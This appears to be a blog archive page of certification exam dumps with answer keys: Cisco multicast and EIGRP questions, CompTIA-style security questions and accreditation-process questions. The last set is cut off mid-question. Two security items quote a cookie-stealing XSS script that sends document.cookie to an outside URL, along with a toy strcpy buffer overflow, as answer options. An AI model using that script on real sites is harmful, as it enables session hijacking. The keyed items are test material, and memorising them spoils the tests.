Month: August 2016
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QUESTION 181
Which differences are those between IGMP Snooping and CGMP? (Choose two)
A. IGMP snooping is Cisco proprietary
B. CGMP learns subscribing MAC addresses from the router
C. CGMP learns subscribing MAC addresses by passive listening
D. IGMP snooping requires layer 3 processing
Correct Answer: BD Section: (none) Explanation
QUESTION 182
Based on the partial configuration provided in the exhibit, what additional configuration is required to allow the router to properly participate in a PIM sparse-dense mode scenario?
A. IGMP needs to be enabled on the router.
B. The RP configuration needs to be added for the router to participate in sparse mode network areas.
C. The RP configuration needs to be added for the router to participate in dense mode network areas.
D. The PIM dense-mode state, refresh interval needs to be configured.
Correct Answer: B Section: (none) Explanation
QUESTION 183
Which command sequence is a requirement for configuring the IP address of the rendezvous point (RP) located at IP address 10.10.10.1?
A. Switch(config)# ip pim rp-address 10.10.10.1
B. Switch(config)# ip igmp join-group 10.10.10.1
C. Switch(config)# ip pim accept-rp 10.10.10.1 1
D. Switch(config)# ip pim rp-candidate gigabitethernet0/2
Correct Answer: A Section: (none) Explanation
QUESTION 184
Examine the exhibit carefully. All multilayer switches are running PIM dense mode. Recipient A and Recipient B are forwarding IGMPv2 join messages to their respective multilayer switches. Which option is correct?
A. The Multicast Server is the root of the multicast tree. Switches 4 and 5 will participate in the multicast tree once pruning has taken place.
B. The Multicast Server is the root of the multicast tree. Switches 1,3,4, and 5 will participate in the multicast tree once pruning has taken place.
C. Switch 1 is the root of the multicast tree. Switches 1,3,4, and 5 will participate in the multicast tree once pruning has taken place.
D. Switch 3 is the root of the multicast tree. Switches 1,3,4, and 5 will participate in the multicast tree once pruning has taken place.
Correct Answer: B Section: (none) Explanation
QUESTION 185
Study the exhibit below. IP multicast for group address 224.1.1.1 has been enabled on all routers in the network. Hosts on Network A receive the multicast traffic. However, hosts on Network B do not. Refer to outputs presented, what will cause this problem?
A. The multicast packets are sourced from a server with an unspecified IP address.
B. Router P4S2 does not have an RP configured on the multicast network.
C. Because of RPF failure, Router P4S2 does not forward multicast packets to Network B.
D. Router P4S2 does not regard the upstream router P4S1 as a PIM neighbor.
Correct Answer: C Section: (none)
Explanation
QUESTION 186
According to the network of Layer 3 switches in the exhibit, the RPI Multicast Server only multicasts to hosts connected to multilayer switches 5 and 6. The CMU Multicast Server multicasts to hosts on multi-layer switches 1-6. Refer to the number of configuration steps involved, which way most efficiently configures the network when meeting the requirements for multicast data flow?
A. Configure each switch with PIM sparse mode.
B. Configure each switch with PIM dense mode.
C. Configure each switch with PIM sparse mode and a separate instance of PIM dense mode. Leave each multicast server as the root of its own multicast tree.
D. Configure each switch with PIM sparse-dense mode. Configure switch 3 as a rendezvous point for the RPI multicast stream.
Correct Answer: D Section: (none) Explanation QUESTION 187
You are a network technician at P4S .Study the exhibit carefully. All multilayer switches are running PIM sparse mode. Host P4SB and Host P4SF are sending IGMPv2 join messages to their respective multilayer switches. Which description is correct?
A. Switches 2 and 6 will participate in the multicast tree once pruning has taken place.
B. The multicast server is the rendezvous point of the multicast tree.
C. Switches 1, 2, 3, and 6 will participate in the multicast tree once pruning has taken place.
D. Switches 1, 2, 3, and 6 will participate in the multicast tree.
Correct Answer: D Section: (none) Explanation
QUESTION 188
You work as a network engineer at P4S, and you are tasked to configure a large Frame Relay network. The desired topology is full mesh. Assume that n represents the
number of router
endpoints in the topology. What formula should be used to determine how many PVCs to configure?
A. n*n
B. 2*n
C. 3*n
D. n*(n-1)/2
Correct Answer: D Section: (none) Explanation
QUESTION 189
Study the exhibit carefully. Which two conclusions can be derived from the debug ip igmp output? (Choose two.)
A. The IP multicast groups are 224.0.0.1, 224.0.1.40, and 239.255.0.1.
B. IP PIM RP mapping is static.
C. Router P4S-RA received an IGMP report version 1 from host 192.168.9.1.
D. The router sent an IGMP version 2 query out interface Ethernet1 at multicast address 224.0.0.1.
Correct Answer: CD Section: (none) Explanation
QUESTION 190
From the show ip eigrp topology command output, which code is the indication of a convergence problem for the associated network?
A. Active
B. Update
C. Query
D. SIA
Correct Answer: D Section: (none) Explanation
QUESTION 191
Protocol Independent Multicast (PIM) has two modes: Sparse Mode and Dense Mode. Here, we focus on the Dense Mode. Which statement correctly describes Protocol Independent Multicast Dense Mode (PIM DM) multicast routing?
A. If a port is pruned, the administrator must re-enable the port to support multicast traffic.
B. PIM DM supports shared distribution trees.
C. The (S,G) state exists in every router, regardless of the presence of an RPF interface.
D. Flooding of traffic only occurs in the beginning stages of routing. Afterwards, all necessary ports are pruned and multicast traffic is not sent across those interfaces.
Correct Answer: C Section: (none) Explanation
QUESTION 192
Which three descriptions are correct regarding the Internet Group Management Protocol (IGMP)? (Choose three.)
A. IGMP is a multicast routing protocol that makes packet-forwarding decisions independent of other routing protocols such as EIGRP.
B. IGMP is used to register individual hosts with a multicast group.
C. IGMP version 3 enables a multicast receiving host to specify to the router which sources it should forward traffic from.
D. IGMP messages are IP datagrams with a protocol value of 2, destination address of 224.0.0.2, and a TTL value of 1.
Correct Answer: BCD Section: (none) Explanation
QUESTION 193
Which two multicast IP addresses can be represented by the multicast MAC address 0100.5e0A.0A07? (Choose two.)
A. 229.138.10.7
B. 228.10.138.7
C. 228.10.10.8
D. 228.10.10.7
Correct Answer: AD Section: (none) Explanation
QUESTION 194
A P4S network administrator assigns a multicast address of 239.255.8.5 to an application running on a
device with an Ethernet MAC address of 01.b2.7d.05.f1.80.
Which Layer 2 multicast
address will be used by this device?
A. 01.00.5e.7F.08.05
B. 01.00.5e.05.f1.80
C. 01.b2.7d.05.f1.80
D. 01.b2.7d.0a.08.05
Correct Answer: A Section: (none) Explanation QUESTION 195
The IP multicast global configuration command ip pim send-rp-announce loopback0 scope 31 group-list 5 issued on multicast router RTA. What are the two results? (Choose two)
A. RTA will originate RP announcements with TTL set to 31.
B. RTA will drop all RP announcements it receives if the TTL field is greater than 31.
C. RTA will forward RP announcements provided they are within the scope of 31.
D. RTA will originate RP announcements for multicast groups that match access-list 5.
Correct Answer: AD Section: (none) Explanation
QUESTION 196
Which three statements correctly describe IP multicast configuration? (Choose three.)
A. PIM sparse mode interfaces are always added to the multicast routing table in a router.
B. PIM sparse mode and PIM sparse-dense mode require an RP on the network.
C. PIM dense mode interfaces are always added to the multicast routing table in a router.
D. PIM sparse-dense mode acts as PIM dense mode if an RP is not known.
Correct Answer: BCD Section: (none) Explanation
QUESTION 197
Internet Protocol (IP) multicast is a bandwidth-conserving technology that reduces traffic by simultaneously delivering a single stream of information to thousands of corporate recipients and homes .Which three IP multicast related statements are true? (Choose three.)
A. Multicast addresses 239.0.0.0 through 239.255.255.255 are called limited scope addresses. They are constrained to a local group or organization.
B. The multicast address 224.0.0.1 is a globally scoped address that has been reserved for the Network Time Protocol (NTP) by the IANA.
C. Multicast addresses 224.0.1.0 through 238.255.255.255 are called globally scoped addresses. They are used to multicast data between organizations and across the Internet.
D. Multicast addresses 224.0.0.0 through 224.0.0.255 are used for network protocols on local LAN segments. Because they are always transmitted with a Time to Live (TTL) of 1, they are never forwarded by a router.
Correct Answer: ACD Section: (none) Explanation
QUESTION 198
When a network client wants to join a multicast group, which type of IGMP message is transmitted?
A. host membership status
B. host membership report
C. host membership notification
D. host membership query
Correct Answer: B Section: (none) Explanation
QUESTION 199
What is the MAC address that comes from the multicast address 239.255.0.1?
A. 01-01-ef-ff-00-01
B. 10-00-ef-ff-00-01
C. 01-00-5e-7f-00-01
D. 00-00-00-7f-00-01
Correct Answer: C Section: (none) Explanation
QUESTION 200
Examine the following statements, then answer this question. When the passive-interface command is used on a router, which two routing protocols will continue to receive routing updates on an interface that is configured as passive? (Choose two.)
A. EIGRP
B. RIP
C. RIPv2
D. OSPF
Correct Answer: BC Section: (none) Explanation
QUESTION 201
The P4Spany has implemented EIGRP in its network.
Identify three characteristics of EIGRP feasible successors? (Choose three.)
A. If the successor becomes unavailable, then the feasible successor can be used immediately without recalculating for a lost route.
B. A feasible successor is selected by comparing the advertised distance of a non-successor route to the feasible distance of the best route.
C. If the advertised distance of the non-successor route is less than the feasible distance of best route, then that route is identified as a feasible successor.
D. The feasible successor can be found in the routing table.
Correct Answer: ABC Section: (none) Explanation
QUESTION 202
IP Multicast is a method of forwarding IP datagrams to a group of interested receivers. Examine the exhibit
carefully. IP multicast configuration changes have been made on several routers.
However, the IP multicast table shown in the exhibit still does not reflect the changes. What should be
done in order to display the new routing table information?
A. Issue the clear ip route * privileged EXEC command.
B. Issue the no ip mroute-cache privileged EXEC command.
C. Issue the clear ip mroute privileged EXEC command.
D. Issue the clear ip igmp group privileged EXEC command.
Correct Answer: C Section: (none) Explanation
QUESTION 203
Examine the exhibit carefully. Each router has Protocol Independent Multicast (PIM) enabled interfaces.
Based on the configuration presented on routers P4S1 and P4S2, which router
will take on the function of rendezvous point (RP) for the multicast network?
A. both routers P4S 1 and P4S 2
B. router P4S2
C. router P4S1
D. none of the routers since they are not configured with static RP
Correct Answer: B Section: (none) Explanation
QUESTION 204
Look at the exhibit below. Which two facts are important in interpreting the output of the show ip pim interface command? (Choose two.)
A. Multiaccess, multicast segments do not elect a DR.
B. Point-to-Point links do not display DR information.
C. Multiaccess segments elect a DR based on lowest IP address.
D. Multiaccess segments elect a DR based on highest IP address.
Correct Answer: BD Section: (none) Explanation
QUESTION 205
Which two statements best describe multicast protocol? (Choose two.)
A. Sparse mode uses reverse path forwarding (RPF) to prune off redundant flows.
B. Sparse mode multicast uses a pull model to send multicast traffic to where it is requested.
C. Dense mode multicast uses a push model to flood traffic throughout the network and then prunes the unwanted traffic.
D. The primary use of sparse mode multicast is for test labs and router performance testing.
Correct Answer: BC Section: (none) Explanation
QUESTION 206
If you want to allow a switch to decide which ports to forward IP multicast messages , what methods may be effective? (Choose three)
A. IGMP
B. CGMP
C. IGMP snooping
D. static assignment
Correct Answer: BCD Section: (none) Explanation QUESTION 207
Look at the following exhibit. Choose two correct statements regarding the PIM sparse mode network! (Choose two)
A. The multicast source is connected to the serial 1/4 interface.
B. The multicast source is directly connected to this router.
C. The multicast receiver is directly connected to this router.
D. The RP for this network is this router.
Correct Answer: AD Section: (none) Explanation
QUESTION 208
Study the exhibit carefully. According to the configuration in the exhibit ,which statement is correct ?
A. The rendezvous point is IP address 172.16.4.16.
B. IGMP version 2 is being used.
C. If a rendezvous point is configured, the interface cannot operate in dense mode.
D. A rendezvous point must be configured in order for the interface to operate in sparse mode.
Correct Answer: D Section: (none) Explanation
QUESTION 209
P4S uses IGMP version 2 in their IP multicast network. How is the designated querier elected in IGMPv2?
A. The first router to appear on a subnet is designated.
B. The host with the lowest MAC address on a segment is designated.
C. The router with the lowest IP address on a subnet is designated.
D. The host that responds first to the election query is designated.
Correct Answer: C Section: (none) Explanation
QUESTION 210
Study the exhibit below carefully. Switch P4S-Switch is receiving IGMP frames only on interface FastEthernet 0/3.Refer to the IGMP snooping, out of which port or ports will switch P4S-Switch forward multicast traffic?
A. all ports
B. FastEthernet 0/1, 0/2, 0/3, 0/4
C. FastEthernet 0/3
D. FastEthernet 0/1, 0/2, 0/4, 0/5, 0/6, 0/7, 0/8
Correct Answer: C Section: (none) Explanation
QUESTION 211
Which two statements correctly describe the rendezvous point (RP) in a multicast network? (Choose two.)
A. An RP is required only in networks running Protocol Independent Multicast sparse-dense mode (PIM-SDM).
B. To form the multicast distribution tree, the multicast sources register with and the receivers join the RP.
C. An RP is required only in networks running Protocol Independent Multicast dense mode (PIM DM).
D. An RP is required only in networks running Protocol Independent Multicast sparse mode (PIM SM).
Correct Answer: BD Section: (none) Explanation
QUESTION 212
In order to display the two values used in the calculation of the EIGRP metric, which show command will be used?
A. show ip eigrp neighbor
B. show protocol
C. show interface
D. show ip eigrp interface
Correct Answer: D Section: (none) Explanation
QUESTION 213
You work as a network engineer at P4S.Refer to the exhibit. Given the output of a debug ip mrouting command, which two statements are correct? (Choose two.)
A. This router P4S received an IGMP host report from a group member or a PIM join message.
B. Multicast route to 224.69.15.0/24 was added to the mroute table and created by a source directly connected to the router P4S.
C. Multicast route to 10.16.0.0/16 was added to the mroute table and created by a source directly connected to the router P4S.
D. The reverse path forwarding (RPF) for the route 224.2.0.1 failed to find the interface on which the multicast packet was received.
Correct Answer: AC Section: (none) Explanation
QUESTION 214
For the following options, which three IP multicast group concepts are correct? (Choose three.)
A. A router must be a member of a multicast group to receive multicast data.
B. A router does not have to be a member of a multicast group to receive multicast data.
C. If a packet is sent to a multicast group address, the multicast frame contains the source multicast address.
D. A router does not have to be a member of a multicast group to send to the group.
E. If a packet is sent to a multicast group address, all members of the multicast group will receive it.
Correct Answer: ADE Section: (none) Explanation
QUESTION 215
Which three IP multicast address related descriptions are correct? (Choose three.)
A. Multicast addresses 224.0.0.0 through 224.0.0.255 are always forwarded because they are transmitted with Time to Live (TTL) greater than 1.
B. Multicast addresses 224.0.0.13 and 224.0.0.22 are reserved link-local addresses used by PIMv2 and IGMPv3.
C. Multicast address 224.0.1.1 has been reserved for the Network Time Protocol (NTP) by the IANA.
D. The administratively scoped multicast addresses 239.0.0.0 through 239.255.255.255 are similar in purpose to RFC 1918 private unicast addresses.
Correct Answer: BCD Section: (none) Explanation
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QUESTION 1
Which of the following attacks does Unicast Reverse Path Forwarding prevent?
A. Man in the Middle
B. ARP poisoning
C. Broadcast storm
D. IP Spoofing
Correct Answer: D QUESTION 2
Which of the following authentication types is used primarily to authenticate users through the use of tickets?
A. LDAP
B. RADIUS
C. TACACS+
D. Kerberos Correct Answer: D QUESTION 3
A security consultant is evaluating forms which will be used on a company website. Which of the following techniques or terms is MOST effective at preventing malicious individuals from successfully exploiting programming flaws in the website?
A. Anti-spam software
B. Application sandboxing
C. Data loss prevention
D. Input validation Correct Answer: D QUESTION 4
A security audit has uncovered that some of the encryption keys used to secure the company B2B financial transactions with its partners may be too weak. The security administrator needs to implement a process to ensure that financial transactions will not be compromised if a weak encryption key is found. Which of the following should the security administrator implement?
A. Entropy should be enabled on all SSLv2 transactions.
B. AES256-CBC should be implemented for all encrypted data.
C. PFS should be implemented on all VPN tunnels.
D. PFS should be implemented on all SSH connections.
Correct Answer: C QUESTION 5
A company provides on-demand virtual computing for a sensitive project. The company implements a fully virtualized datacenter and terminal server access with two-factor authentication for access to sensitive data. The security administrator at the company has uncovered a breach in data confidentiality. Sensitive data was found on a hidden directory within the hypervisor. Which of the following has MOST likely occurred?
A. A stolen two factor token and a memory mapping RAM exploit were used to move data from one virtual guest to an unauthorized similar token.
B. An employee with administrative access to the virtual guests was able to dump the guest memory onto their mapped disk.
C. A host server was left un-patched and an attacker was able to use a VMEscape attack to gain unauthorized access.
D. A virtual guest was left un-patched and an attacker was able to use a privilege escalation attack to gain unauthorized access. Correct Answer: C QUESTION 6
Company XYZ provides residential television cable service across a large region. The company’s board of directors is in the process of approving a deal with the following three companies:
A National landline telephone provider
A Regional wireless telephone provider
An international Internet service provider
The board of directors at Company XYZ wants to keep the companies and billing separated.
While the Chief Information Officer (CIO) at Company XYZ is concerned about the confidentiality of Company XYZ’s customer data and wants to share only minimal information about its customers for the purpose of accounting, billing, and customer authentication.
The proposed solution must use open standards and must make it simple and seamless for Company XYZ’s customers to receive all four services.
Which of the following solutions is BEST suited for this scenario?
A. All four companies must implement a TACACS+ web based single sign-on solution with associated captive portal technology.
B. Company XYZ must implement VPN and strict access control to allow the other three companies to access the internal LDAP.
C. Company XYZ needs to install the SP, while the partner companies need to install the WAYF portion of a Federated identity solution.
D. Company XYZ needs to install the IdP, while the partner companies need to install the SP portion of a Federated identity solution. Correct Answer: D QUESTION 7
The security administrator at a bank is receiving numerous reports that customers are unable to login to the bank website. Upon further investigation, the security administrator discovers that the name associated with the bank website points to an unauthorized IP address.
Which of the following solutions will MOST likely mitigate this type of attack?
A. Security awareness and user training
B. Recursive DNS from the root servers
C. Configuring and deploying TSIG
D. Firewalls and IDS technologies
Correct Answer: C QUESTION 8
A security administrator has finished building a Linux server which will host multiple virtual machines through hypervisor technology. Management of the Linux server, including monitoring server performance, is achieved through a third party web enabled application installed on the Linux server. The security administrator is concerned about vulnerabilities in the web application that may allow an attacker to retrieve data from the virtual machines.
Which of the following will BEST protect the data on the virtual machines from an attack?
A. The security administrator must install the third party web enabled application in a chroot environment.
B. The security administrator must install a software firewall on both the Linux server and the virtual machines.
C. The security administrator must install anti-virus software on both the Linux server and the virtual machines.
D. The security administrator must install the data exfiltration detection software on the perimeter firewall. Correct Answer: A QUESTION 9
A breach at a government agency resulted in the public release of top secret information. The Chief Information Security Officer has tasked a group of security professionals to deploy a system which will protect against such breaches in the future.
Which of the following can the government agency deploy to meet future security needs?
A. A DAC which enforces no read-up, a DAC which enforces no write-down, and a MAC which uses an access matrix.
B. A MAC which enforces no write-up, a MAC which enforces no read-down, and a DAC which uses an ACL.
C. A MAC which enforces no read-up, a MAC which enforces no write-down, and a DAC which uses an access matrix.
D. A DAC which enforces no write-up, a DAC which enforces no read-down, and a MAC which uses an ACL. Correct Answer: C QUESTION 10
The internal auditor at Company ABC has completed the annual audit of the company’s financial system. The audit report indicates that the accounts receivable department has not followed proper record disposal procedures during a COOP/BCP tabletop exercise involving manual processing of financial transactions.
Which of the following should be the Information Security Officer’s (ISO’s) recommendation? (Select TWO).
A. Wait for the external audit results
B. Perform another COOP exercise
C. Implement mandatory training
D. Destroy the financial transactions
E. Review company procedures
Correct Answer: CE QUESTION 11
Company ABC has recently completed the connection of its network to a national high speed private research network. Local businesses in the area are seeking sponsorship from Company ABC to connect to the high speed research network by directly connecting through Company ABC’s network. Company ABC’s Chief Information Officer (CIO) believes that this is an opportunity to increase revenues and visibility for the company, as well as promote research and development in the area.
Which of the following must Company ABC require of its sponsored partners in order to document the technical security requirements of the connection?
A. SLA
B. ISA
C. NDA
D. BPA
Correct Answer: B QUESTION 12
A security analyst at Company A has been trying to convince the Information Security Officer (ISO) to allocate budget towards the purchase of a new intrusion prevention system (IPS) capable of analyzing encrypted web transactions.
Which of the following should the analyst provide to the ISO to support the request? (Select TWO).
A. Emerging threat reports
B. Company attack tends
C. Request for Quote (RFQ)
D. Best practices
E. New technologies report Correct Answer: AB QUESTION 13
The IT department of a pharmaceutical research company is considering whether the company should allow or block access to social media websites during lunch time. The company is considering the possibility of allowing access only through the company’s guest wireless network, which is logically separated from the internal research network. The company prohibits the use of personal devices; therefore, such access will take place from company owned laptops.
Which of the following is the HIGHEST risk to the organization?
A. Employee’s professional reputation
B. Intellectual property confidentiality loss
C. Downloaded viruses on the company laptops
D. Workstation compromise affecting availability
Correct Answer: B
QUESTION 14
A security audit has uncovered a lack of security controls with respect to employees’ network account management. Specifically, the audit reveals that employee’s network accounts are not disabled in a timely manner once an employee departs the organization. The company policy states that the network account of an employee should be disabled within eight hours of termination. However, the audit shows that 5% of the accounts were not terminated until three days after a dismissed employee departs. Furthermore, 2% of the accounts are still active. Which of the following is the BEST course of action that the security officer can take to avoid repeat audit findings?
A. Review the HR termination process and ask the software developers to review the identity management code.
B. Enforce the company policy by conducting monthly account reviews of inactive accounts.
C. Review the termination policy with the company managers to ensure prompt reporting of employee terminations.
D. Update the company policy to account for delays and unforeseen situations in account deactivation.
Correct Answer: C
QUESTION 15
Which of the following is true about an unauthenticated SAMLv2 transaction?
A. The browser asks the SP for a resource. The SP provides the browser with an XHTML format. The browser asks the IdP to validate the user, and then provides the XHTML back to the SP for access.
B. The browser asks the IdP for a resource. The IdP provides the browser with an XHTML format. The browser asks the SP to validate the user, and then provides the XHTML to the IdP for access.
C. The browser asks the IdP to validate the user. The IdP sends an XHTML form to the SP and a cookie to the browser. The browser asks for a resource to the SP, which verifies the cookie and XHTML format for access.
D. The browser asks the SP to validate the user. The SP sends an XHTML form to the IdP. The IdP provides the XHTML form back to the SP, and then the browser asks the SP for a resource.
Correct Answer: A
QUESTION 16
A company which manufactures ASICs for use in an IDS wants to ensure that the ASICs’ code is not prone to buffer and integer overflows. The ASIC technology is copyrighted and the confidentiality of the ASIC code design is exceptionally important. The company is required to conduct internal vulnerability testing as well as testing by a third party.
Which of the following should be implemented in the SDLC to achieve these requirements?
A. Regression testing by the manufacturer and integration testing by the third party
B. User acceptance testing by the manufacturer and black box testing by the third party
C. Defect testing by the manufacturer and user acceptance testing by the third party
D. White box unit testing by the manufacturer and black box testing by the third party
Correct Answer: D
QUESTION 17
The security administrator is receiving numerous alerts from the internal IDS of a possible Conficker infection spreading through the network via the Windows file sharing services. Given the size of the company which deploys over 20,000 workstations and 1,000 servers, the security engineer believes that the best course of action is to block the file sharing service across the organization by placing ACLs on the internal routers.
Which of the following should the security administrator do before applying the ACL?
A. Quickly research best practices with respect to stopping Conficker infections and implement the solution.
B. Consult with the rest of the security team and get approval on the solution by all the team members and the team manager.
C. Apply the ACL immediately since this is an emergency that could lead to a widespread data compromise.
D. Call an emergency change management meeting to ensure the ACL will not impact core business functions.
Correct Answer: D
QUESTION 18
A company currently does not use any type of authentication or authorization service for remote access. The new security policy states that all remote access must be locked down to only authorized personnel. The policy also dictates that only authorized external networks will be allowed to access certain internal resources.
Which of the following would MOST likely need to be implemented and configured on the company’s perimeter network to comply with the new security policy? (Select TWO).
A. VPN concentrator
B. Firewall
C. Proxy server
D. WAP
E. Layer 2 switch
Correct Answer: AB
QUESTION 19
Which of the following displays an example of a buffer overflow attack?
A. <SCRIPT> document.location=’http://site.comptia/cgi-bin/script.cgi?’+document.cookie </SCRIPT>
B. Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b-1.dsc e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz ddcba53dffd08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb 7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb
C. #include char *code = “AAAABBBBCCCCDDD”; //including the character ‘\0’ size = 16 bytes void main() {char buf[8]; strcpy(buf, code);
}
D. <form action=”/cgi-bin/login” method=post> Username: <input type=text name=username> PassworD. <input type=password name=password> <input type=submit value=Login>
Correct Answer: C
QUESTION 20
Which of the following displays an example of a XSS attack?
A. <SCRIPT> document.location=’http://site.comptia/cgi-bin/script.cgi?’+document.cookie </SCRIPT>
B. Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b-1.dsc e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz ddcba53dffd08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb 7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb
C. <form action=”/cgi-bin/login” method=post> Username: <input type=text name=username> PassworD. <input type=password name=password> <input type=submit value=Login>
D. #include char *code = “AAAABBBBCCCCDDD”; //including the character ‘\0’ size = 16 bytes void main() {char buf[8]; strcpy(buf, code); }
Correct Answer: A
QUESTION 21
Several critical servers are unresponsive after an update was installed. Other computers that have not yet received the same update are operational, but are vulnerable to certain buffer overflow attacks. The security administrator is required to ensure all systems have the latest updates while minimizing any downtime.
Which of the following is the BEST risk mitigation strategy to use to ensure a system is properly updated and operational?
A. Distributed patch management system where all systems in production are patched as updates are released.
B. Central patch management system where all systems in production are patched by automatic updates as they are released.
C. Central patch management system where all updates are tested in a lab environment after being installed on a live production system.
D. Distributed patch management system where all updates are tested in a lab environment prior to being installed on a live production system.
Correct Answer: D
QUESTION 22
A business is currently in the process of upgrading its network infrastructure to accommodate a personnel growth of over fifty percent within the next six months. All preliminary planning has been completed and a risk assessment plan is being adopted to decide which security controls to put in place throughout each phase.
Which of the following risk responses is MOST likely being considered if the business is creating an SLA with a third party?
A. Accepting risk
B. Mitigating risk
C. Identifying risk
D. Transferring risk
Correct Answer: D
QUESTION 23
Which of the following must be taken into consideration for e-discovery purposes when a legal case is first presented to a company?
A. Data ownership on all files
B. Data size on physical disks
C. Data retention policies on only file servers
D. Data recovery and storage
Correct Answer: D
QUESTION 24
A company has purchased a new system, but security personnel are spending a great deal of time on system maintenance. A new third party vendor has been selected to maintain and manage the company’s system. Which of the following document types would need to be created before any work is performed?
A. IOS
B. ISA
C. SLA
D. OLA
Correct Answer: C
QUESTION 25
The security administrator of a small private firm is researching and putting together a proposal to purchase an IPS to replace an existing IDS. A specific brand and model has been selected, but the security administrator needs to gather various cost information for that product. Which of the following documents would perform a cost analysis report and include information such as payment terms?
A. RFI
B. RTO
C. RFQ
D. RFC
Correct Answer: C
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QUESTION 1
Which of the following professionals plays the role of a monitor and takes part in the organization’s configuration management process?
A. Senior Agency Information Security Officer
B. Authorizing Official
C. Common Control Provider
D. Chief Information Officer
Correct Answer: C
QUESTION 2
The Chief Information Officer (CIO), or Information Technology (IT) director, is a job title commonly given to the most senior executive in an enterprise. What are the responsibilities of a Chief Information Officer? Each correct answer represents a complete solution. Choose all that apply.
A. Preserving high-level communications and working group relationships in an organization
B. Facilitating the sharing of security risk-related information among authorizing officials
C. Establishing effective continuous monitoring program for the organization
D. Proposing the information technology needed by an enterprise to achieve its goals and then working within a budget to implement the plan
Correct Answer: ACD
QUESTION 3
The Information System Security Officer (ISSO) and Information System Security Engineer (ISSE) play the
role of a supporter and advisor, respectively. Which of the following statements are true about ISSO and
ISSE?
Each correct answer represents a complete solution. Choose all that apply.
A. An ISSE provides advice on the impacts of system changes.
B. An ISSE manages the security of the information system that is slated for Certification & Accreditation (C&A).
C. An ISSO manages the security of the information system that is slated for Certification & Accreditation (C&A).
D. An ISSO takes part in the development activities that are required to implement system changes.
E. An ISSE provides advice on the continuous monitoring of the information system.
Correct Answer: ACE
QUESTION 4
Which of the following professionals is responsible for starting the Certification & Accreditation (C&A) process?
A. Information system owner
B. Authorizing Official
C. Chief Risk Officer (CRO)
D. Chief Information Officer (CIO)
Correct Answer: A
QUESTION 5
Which of the following assessment methodologies defines a six-step technical security evaluation?
A. FITSAF
B. FIPS 102
C. OCTAVE
D. DITSCAP
Correct Answer: B
QUESTION 6
DIACAP applies to the acquisition, operation, and sustainment of any DoD system that collects, stores,
transmits, or processes unclassified or classified information since December 1997. What phases are
identified by DIACAP?
Each correct answer represents a complete solution. Choose all that apply.
A. Accreditation
B. Identification
C. System Definition
D. Verification
E. Validation
F. Re-Accreditation
Correct Answer: CDEF
QUESTION 7
Mark works as a Network Administrator for NetTech Inc. He wants users to access only those resources that are required for them. Which of the following access control models will he use?
A. Mandatory Access Control
B. Role-Based Access Control
C. Discretionary Access Control
D. Policy Access Control
Correct Answer: B
QUESTION 8
Which of the following refers to an information security document that is used in the United States Department of Defense (DoD) to describe and accredit networks and systems?
A. FITSAF
B. FIPS
C. TCSEC
D. SSAA
Correct Answer: D
QUESTION 9
James work as an IT systems personnel in SoftTech Inc. He performs the following tasks:
Runs regular backups and routine tests of the validity of the backup data. Performs data restoration from
the backups whenever required. Maintains the retained records in accordance with the established
information classification policy.
What is the role played by James in the organization?
A. Manager
B. Owner
C. Custodian
D. User
Correct Answer: C
QUESTION 10
FITSAF stands for Federal Information Technology Security Assessment Framework. It is a methodology for assessing the security of information systems. Which of the following FITSAF levels shows that the procedures and controls have been implemented?
A. Level 4
B. Level 1
C. Level 3
D. Level 5
E. Level 2
Correct Answer: C
QUESTION 11
Certification and Accreditation (C&A or CnA) is a process for implementing information security. Which of the following is the correct order of C&A phases in a DITSCAP assessment?
A. Definition, Validation, Verification, and Post Accreditation
B. Verification, Definition, Validation, and Post Accreditation
C. Verification, Validation, Definition, and Post Accreditation
D. Definition, Verification, Validation, and Post Accreditation
Correct Answer: D
QUESTION 12
System Authorization is the risk management process. System Authorization Plan (SAP) is a
comprehensive and uniform approach to the System Authorization Process. What are the different phases
of System Authorization Plan?
Each correct answer represents a part of the solution. Choose all that apply.
A. Post-Authorization
B. Pre-certification
C. Post-certification
D. Certification
E. Authorization
Correct Answer: ABDE
QUESTION 13
Certification and Accreditation (C&A or CnA) is a process for implementing information security. It is a systematic procedure for evaluating, describing, testing, and authorizing systems prior to or after a system is in operation. Which of the following statements are true about Certification and Accreditation? Each correct answer represents a complete solution. Choose two.
A. Accreditation is the official management decision given by a senior agency official to authorize operation of an information system.
B. Accreditation is a comprehensive assessment of the management, operational, and technical security controls in an information system.
C. Certification is the official management decision given by a senior agency official to authorize operation of an information system.
D. Certification is a comprehensive assessment of the management, operational, and technical security controls in an information system.
Correct Answer: AD
QUESTION 14
Which of the following requires all general support systems and major applications to be fully certified and accredited before these systems and applications are put into production? Each correct answer represents a part of the solution. Choose all that apply.
A. NIST
B. FIPS
C. FISMA
D. Office of Management and Budget (OMB)
Correct Answer: CD
QUESTION 15
The National Information Assurance Certification and Accreditation Process (NIACAP) is the minimum standard process for the certification and accreditation of computer and telecommunications systems that handle U.S. national security information. What are the different types of NIACAP accreditation? Each correct answer represents a complete solution. Choose all that apply.
A. Secure accreditation
B. Type accreditation
C. System accreditation
D. Site accreditation
Correct Answer: BCD
QUESTION 16
According to U.S. Department of Defense (DoD) Instruction 8500.2, there are eight Information Assurance
(IA) areas, and the controls are referred to as IA controls. Which of the following are among the eight
areas of IA defined by DoD?
Each correct answer represents a complete solution. Choose all that apply.
A. VI Vulnerability and Incident Management
B. DC Security Design & Configuration
C. EC Enclave and Computing Environment
D. Information systems acquisition, development, and maintenance
Correct Answer: ABC
QUESTION 17
DIACAP applies to the acquisition, operation, and sustainment of any DoD system that collects, stores,
